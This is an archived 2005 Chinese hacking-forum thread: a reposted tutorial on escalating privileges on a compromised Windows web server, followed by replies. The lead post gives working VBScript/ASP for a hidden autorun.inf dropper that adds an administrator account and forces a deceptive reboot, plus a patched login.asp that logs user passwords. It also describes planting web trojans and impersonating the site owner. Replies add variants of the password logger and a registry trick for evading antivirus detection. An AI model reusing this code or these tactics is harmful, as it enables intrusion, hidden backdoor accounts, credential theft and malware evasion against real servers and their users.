邪恶八进制信息安全团队技术讨论组's Archiver

exploit 2005-6-5 23:07

[转载]旁门左道的入侵 已发表于非安全

文章作者:剑心[B.C.T]

很多的时候,入侵并不是单纯靠技术的,有很多是运气因素,更重要的是如何对一些摆在你面前的一些安全破绽的攻击。我很相信安全意识这个东西,当一台服务器摆在你面前时,大概的看下就知道服务器的安全到底如何了,特别是对于入侵之后的webshell的提升,更多的依赖于管理员的安全意识。由于本人的技术不好,不能自己发现溢出漏洞,所以在入侵时只能搞些旁门左道的东西了。也许这些都是被管理员和高手所不耻的,但是在实际中,这些伎俩的威胁不容忽视,你根本不知道什么时候你的系统就会变得到处是陷阱,加上安全意识薄弱一点的话,对系统的危害还是很大的,我就来说说我平时用到的一些旁门左道的方法吧!(大家以后不要鄙视我就行了^_^)
首先我们获得一个webshell,因为我说的旁门左道主要就是用在得到webshell之后的权限提升,webshell相信大家手里都有一大把吧!没有也没有关系,脚本漏洞那么多,看看以前的文章自己上网找找吧!^_^。得到webshell以后,我一般都是先看看系统的进程列表,砍客的木马和最近的海洋木马都有这个功能。我用的就是海洋的修改版,可以看到很详细的信息,你没有这样的木马的话也没有关系,我这里有别人给我的一段代码,放到服务器上就可以看进程了:

<%
dim obj //定义变量//
for each obj in getObject("WinNT://.") //循环取得系统本机对象//
err.clear //错误处理//
%>
<%=obj.Name%> //显示对象Name属性,即显示系统用户组//
<%if err then
else
%>(<%=obj.DisplayName%>)<%end if%> //显示当前服务名//
<br><%=obj.path%> //显示当前服务程序路径//

保存为asp文件访问看看吧!如图一。这里要仔细看看,服务都装在哪里,还有哪些服务,这样就可以知道管理员的水平到底怎么样了。如果你什么也没有得到的话说明管理员不是很差劲,就要小心了!呵呵,服务都装在默认的路径下啊,默认Guest没有什么权限,不过如果你发现有不在默认路径下的服务,就试着执行命令看看,可以执行的话就可以把我们自己的程序传上去改掉服务的名字,将自己的程序替换成他的(这里要求对方的程序路径下是默认的权限哦)。windows默认是不允许删除正在执行的文件但是可以改名,呵呵,这里只要服务器重起我们的程序就可以执行了,当然是以牺牲对方的服务为代价的了,建议搞瑞星之类的杀毒软件。这里因为是要等服务器重起,但是一周左右都会重起的,概率很大,windows太不稳定了。呵呵,阴险吧,一切都是为了权限,不然怎么叫旁门左道呢?如果你真的比较性急,我也不建议你跑去D人家,是托管主机的话直接冒充管理员让托管机房的人重起比较好,成功率据说很高的啊!前提是你要十分了解对方。当然,如果机器有Server-u并且版本比较低的话就不用那么麻烦了,如何提权就看看以前的文章吧,我就不多说了。但是看看这里,我们的情况不怎么好,看看服务的路径就知道,就是几个防火墙和杀毒软件,全部默认啊,可以执行命令也没有办法替换服务了。我们再看看,好多默认的服务都没有关,这是一个对安全重视的网管所不会做的,至少那个什么ClipBook服务就是个例子(排除对自己超级自信的网管!)。可以看出他的安全意识至少不是那么到位,我们肯定有空子可以钻的,哈哈!接着往后看吧,用Fso查看磁盘发现都可以浏览,还可写,看来都是默认的设置,还可以执行命令,网管果然比较$#%$@$#%啊!其实开始我就应该知道,因为他的web页面和数据库都是默认设置,我就是那样得到webshell的!基本可以确定我们的对手是怎么样的一个人了!呵呵。
但是好象还是没有什么用,可以执行命令,将nc传上去还可以得到了反向的cmdshell,乱转悠但还是没有什么思路!管理员不懂做安全配置但是微软的补丁不知道为什么打得很全,本地的溢出都不好用!郁闷。那就再在他的硬盘里看看,嘿嘿,根目录可写啊,想起什么了?记不记得系统默认的那个autorun.inf啊,放在磁盘根目录,双击的话会执行那个指定程序的呵,我们就放个autorun.inf上去,哈哈。如图二。这样他的硬盘下就有我们放置的陷阱了,等管理员来了。当然,不能直接用autonrun.inf运行我们的木马,这样管理员打不开硬盘一定会奇怪的,我写了个隐蔽点的代码:

Dim fso, MyFile //定义变量//
Set fso = createObject("Scripting.FileSystemObject") //取得Fso对象//
Set MyFile = fso.GetFile("d:\autorun.inf") //打开文件d:\autorun.inf//
MyFile.delete //删除文件//

dim sh //定义变量//
set sh=createobject("wscript.shell") //创建对象//
sh.run "net user jnc lxfxd /add",0 //Wsh执行命令添加帐户jnc//
sh.run "net localgroup administrators jnc /add",0 //将jnc帐户加为管理员//
sh.run "attrib +h +s d:\run.vbs",0 //将我们的run.vbs加上系统隐藏属性//
sh.run "shutdown -r -t 30 -c windows读盘错误,需要重新启动以读取分区表.",0 //重起机器,后面的是迷惑管理员//

保存为run.vbs,与后面的autorun.inf设置为隐藏之后一起放到磁盘根目录下。如果是2000,可以把shutdown.exe传上去,这些代码的意思是先删除autotun.inf,然后加jnc为管理员,最后弹出对话框,机器重起,重起后什么痕迹都没有了,除了多个管理员用户。提示信息可以自己改,迷惑性越大越好!在autorun.inf里写上下面的代码:

[autorun]

OPEN=wscript run.vbs

一定要是wscript.exe啊,不然有黑的对话框出来就麻烦了。应该有高手知道如何用脚本打开磁盘的,但是我不会写,不过这样已经够狠的了,想想现在有哪个打开磁盘时不是双击啊!
除了这个,还有个东西很值得提下,就是以前的黑x介绍的那个目录欺骗工具,管理员误以为是文件夹就可以加帐户的那个。不过我得到的程序运行程序成功后总有个bat文件,删不掉,是人都看出来有鬼!我就不要运行程序的功能了,直接传到管理员去得多的地方,嘿嘿,根目录下放一个,网站目录放一个,……。如图三,也不要太多了,放到管理员眼皮底下等他运行就可以了,我是不知道如何编程啊,不然写个名字诱惑性更大的程序效果更好。我们有帐户又有可以执行命令的cmdshell,没有3389也可以用runas命令啊,这机器就是我们的了!可是这样安全意识的管理员一般很懒,不一定会经常上线,不然不会这么多漏子。嘿嘿,不要着急,等什么都弄完了再想法让他上线检查自己的电脑,这样才可以运行我们的程序。
再找找其他有不有空子可以钻。去看看他网站上有什么东西吧,他这样的管理员各个地方用的密码不会都不一样吧?网站上有个动网sp2的,把数据库由asp的copy成mdb的下载下来看看。在Dv_log里没有找到密码,看到了注册时间最早的那个家伙(这个当然就是管理员了自己!)的密码,拿下来跑跑。可是半天也没有跑出来啊,急!我破解不出来我还不会等着你往我家里送啊?干脆找到了bbs的login.asp在里面加了点东西:

<%
dim Name,password,fso,file //定义后面要用到的变量//
Name = Request("username") //取得浏览器传过来的username变量//
Password = Request("password") //取得浏览器传过来的Password变量//
Const ForReading = 1, ForWriting = 2, ForAppending = 8 //定义后面写文件的参数//
Set fso = Server.createObject("Scripting.FileSystemObject") //取得Fso对象,准备写文件//
Const path = "D:\mir3\bbs\admin_list.asp" //定义要写的文件路径//
set file=fso.opentextfile(path, ForAppending, TRUE) //取得文件对象//
file.write(Name) & " " //写取得的用户名//
file.write(Password) & "||" //写取得的密码,并用||分隔开//
file.close //关闭文件//
set file = nothing //释放变量//
set fso = nothing //释放变量//
%>

注意的是里面request的变量,具体的字段自己改!还有后面你要存放的文件地址,这个也根据情况自己填了,以后经常来看看得到的东西就行了,我比较关注的是admin!如图四。又一个个陷阱挖好了,等管理员钻了。可是好象不知道他什么时候登陆呢,我干脆去当会坏人,发了几个人身攻击的帖子,灌了一会恶意的水就不信你管理员熬得住不上来删帖子!(不是我的本意,大家原谅!)嘿嘿
再转悠了几下子,发现C:\Program Files下有3721,乖乖,难道服务器还有人拿来上网啊?不过也不排除那种可能,二话不说,找人要了最新的网页木马的代码,找网站几个关键的页面插进去,如图五哈哈,又是一个陷阱,只要你打开Ie上网!再找找,发现这个管理员还好,服务器上不聊QQ,也没有什么游戏,要不然我们又可以给他捆上个东西,捆什么?当然是木马了!我还真遇到有人在服务器聊QQ玩连连看外加看少儿不易的东西,呵呵,这样的机器要是还搞不定就真是你的问题了。
这个机器上基本上已经到处是陷阱了,只等管理员上线了,我可等不急了,催催他吧!拿出经典的黑站图片,插入网页木马在里面替换主页黑了他!(这里我了解管理员的水平所以这么做的,大家千万不要模仿!)就等他发现了,我们的陷阱可是在等他的啊!可是这个网站好象人气不怎么好,等了半天也没有人清除黑页。算了,中招是迟早的事了,你要是没有耐心在网站上找下他的QQ告诉他,注意社会工程学的应用啊,呵呵。
这里还要说点其他的,得到webshell和权限有更好的办法,上那个可以查询网站信息的站点,[url]http://www.webhosting.info[/url]查询下他的信息,如图六,注册个相似的邮箱,或者直接打电话,然后冒充下站长说自己的密码丢了,偶不怎么擅长这个,所以都是听人家说的,可是上次跟小默上电信机房发现那里检查真不是怎么严,签个名就让进去,进去之后还什么都不管。一些服务器就那样开着,管理员已经登陆但是人不在,还有一些很重要的服务器都可以直接操作的,真不知道放个马到网关上去会怎么样,这里说的东西或许有些偏离黑客的技术了,但是,你敢保证这些旁门左道不会威胁到你的主机的安全?意识很重要,安全再怎么小心都不为过,好了,我就说到这里,有什么问题可以到在杂志补充或者论坛讨论,我的ID是剑心。

cilepet 2005-6-6 13:53

<%
dim Name,password,fso,file //定义后面要用到的变量//
Name = Request("username") //取得浏览器传过来的username变量//
Password = Request("password") //取得浏览器传过来的Password变量//
Const ForReading = 1, ForWriting = 2, ForAppending = 8 //定义后面写文件的参数//
Set fso = Server.createObject("Scripting.FileSystemObject") //取得Fso对象,准备写文件//
Const path = "D:\mir3\bbs\admin_list.asp" //定义要写的文件路径//
set file=fso.opentextfile(path, ForAppending, TRUE) //取得文件对象//
file.write(Name) & " " //写取得的用户名//
file.write(Password) & "||" //写取得的密码,并用||分隔开//
file.close //关闭文件//
set file = nothing //释放变量//
set fso = nothing //释放变量//
%>

这里可不可以改成记录所有人登录的密码呀?
上面的代码好象是会覆盖前面记录的密码吧,由于我没学过VBS,所以只能看个大概。

千寂孤城 2005-6-7 09:59

这里就是在记录所有人的密码呀。因为是:
set file=fso.opentextfile("D:\mir3\bbs\admin_list.asp",8,TRUE)
“8”的意思就是接着原有的记录来记录
“true”的意思就是如果D:\mir3\bbs\admin_list.asp不存在就新建一个。

猫cat猫 2005-6-8 01:53

Dim fso, MyFile //定义变量//
Set fso = createObject("Scripting.FileSystemObject") //取得Fso对象//
Set MyFile = fso.GetFile("d:\autorun.inf") //打开文件d:\autorun.inf//
MyFile.delete //删除文件//

如果Fso的名称更改了呢?

千寂孤城 2005-6-12 10:40

所谓改fso就是把HKEY_CLASSES_ROOT\Scripting.FileSystemObject改成其他诸如HKEY_CLASSES_ROOT\Scripting.FileSystemObject2之类,这样我们以后脚本中用createobject("scripting.filesystemobject")就会出错,必须用createobject("scripting.FileSystemObject2")。
所以我们可以把它改回来。方法是在HKEY_CLASSES_ROOT下建一个项:Scripting.FileSystemObject,把右边窗口里的默认值改为“FileSystem Object”,再在Scripting.FileSystemObject下建一个项CLSID,把右边窗口里的默认键值改为“{0D43FE01-F093-11CF-8940-00A0C9054228}”,然后fso就又可以用了。用脚本实现如下:

on error resume next
set shell=createobject("wscript.shell")
shell.regwrite "HKCR\Scripting.FileSystemObject\","FileSystem Object","REG_SZ"
shell.regwrite "HKCR\Scripting.FileSystemObject\CLSID\","{0D43FE01-F093-11CF-8940-00A0C9054228}", "REG_SZ"

以上代码在本地机上实验成功,在asp马中还未实验,理论上来讲是没问题的。其实如果要更隐蔽一些,你可以:


on error resume next
set shell=createobject("wscript.shell")
shell.regwrite "HKCR\Scripting.qjgc\","FileSystem Object","REG_SZ"
shell.regwrite "HKCR\Scripting.qjgc\CLSID\","{0D43FE01-F093-11CF-8940-00A0C9054228}", "REG_SZ"
set shell=nothing

以后用createobject("scripting.qjgc")就相当于createobject("Scripting.FileSystemObject")

[b]对于改fso我还想罗嗦几句,现在有些杀毒软件会检查脚本里有没有"FileSystemObject"字符串,如果有的话就把脚本当病毒删除,对此大家都想出了很多好办法,比如在脚本中写CreateObject("scripting.fIlEs"&"YstE"&"mobjeCt")一类的。在这里我想说的是我们也可以通过先改fso的办法饶过"filesystemobject"而不被查杀,比如:
原病毒文件:
set fso=createobject("scripting.filesystemobject")
……
修改过的病毒文件:
set shell=createobject("wscript.shell")
shell.regwrite "HKCR\Scripting.qjgc\","FileSystem Object","REG_SZ"
shell.regwrite "HKCR\Scripting.qjgc\CLSID\","{0D43FE01-F093-11CF-8940-00A0C9054228}", "REG_SZ"
set fso=createobject("scripting.qjgc")
……
[/b]



其实不用fso一样能实现目的。比如AdodbStream,这东西目前很多网管都不了解,所以限制会比较少。还是把代码拿出来先:

on error resume next  ’这句一定要要,不然第一次写文件时由于文件不存在会出错。
set aso=createobject("Adodb.Stream")
aso.open
aso.type=2
aso.charset="gb2312"
aso.loadfromfile "D:\mir3\bbs\admin_list.asp"
aso.position=aso.size
aso.writetext name&" "&pass&"||"
aso.saveToFile "D:\mir3\bbs\admin_list.asp",2
aso.close
set aso=nothing

同样以上代码在本地机实验成功。


若是Adodb.Stream也不能用的话,那么我再提供一种疯狂的办法
代码:

on error resume next
set shell=createobject("wscript.shell")
shell.run "cmd /c echo "&name&" "&pass&"---"&">>D:\mir3\bbs\admin_list.asp",0 ’注意这个地方我把分隔符改成了“---”,因为“||”在dos中有特殊的意义,用“||”会出错的。
set shell=nothing
(本地机实验通过)

这方法是不是有点……那个? :)

千寂孤城 2005-7-2 20:06

[quote][b]下面是引用exploit于06-05-2005 23:07发表的[/b]
一定要是wscript.exe啊,不然有黑的对话框出来就麻烦了。应该有高手知道如何用脚本打开磁盘的,但是我不会写,不过这样已经够狠的了,想想现在有哪个打开磁盘时不是双击啊!
.......[/quote]

找到了个用脚本打开磁盘的方法(不敢自称高手啊):
set shell=createobject("wscript.shell")
shell.run "explorer.exe c:"

这样就把c盘打开了。

intruder 2005-7-5 07:50

[quote][b]下面是引用千寂孤城于06-12-2005 10:40发表的:[/b]
所谓改fso就是把HKEY_CLASSES_ROOTScripting.FileSystemObject改成其他诸如HKEY_CLASSES_ROOTScripting.FileSystemObject2之类,这样我们以后脚本中用createobject("scripting.filesystemobject")就会出错,必须用createobject("scripting.FileSystemObject2")。
所以我们可以把它改回来。方法是在HKEY_CLASSES_ROOT下建一个项:Scripting.FileSystemObject,把右边窗口里的默认值改为“FileSystem Object”,再在Scripting.FileSystemObject下建一个项CLSID,把右边窗口里的默认键值改为“{0D43FE01-F093-11CF-8940-00A0C9054228}”,然后fso就又可以用了。用脚本实现如下:

on error resume next
set shell=createobject("wscript.shell")
.......[/quote]
本机肯定有这个权限了修改了~
远程的话就有点不现实……,一般说来,要你你都能任意改写注册表了,还要FSO干啥子,能改注册表,稍微浓浓就能弄个ADMIN阿~~

l0pht 2005-7-5 10:32

在win2000下是不能用autorun.inf的!不知楼主的文章是否属实

冰血封情 2005-7-5 10:48

[quote][b]下面是引用l0pht于07-05-2005 10:32发表的:[/b]
在win2000下是不能用autorun.inf的!不知楼主的文章是否属实[/quote]
楼主之前在这边发了讨论 有关autorun.inf的
[url]http://www.eviloctal.com/forum/read.php?tid=9607&fpage=1&toread=1[/url]

千寂孤城 2005-7-5 15:42

是也,只是说个思路。确实不太现实。我自己都没用过。:)
不过在脚本里先改CLSID再调用改了的CLSID的fso,这样的vbs病毒还是可以对付一些杀毒软件的吧。同样是猜测。:)

页: [1]
© 1999-2008 EvilOctal Security Team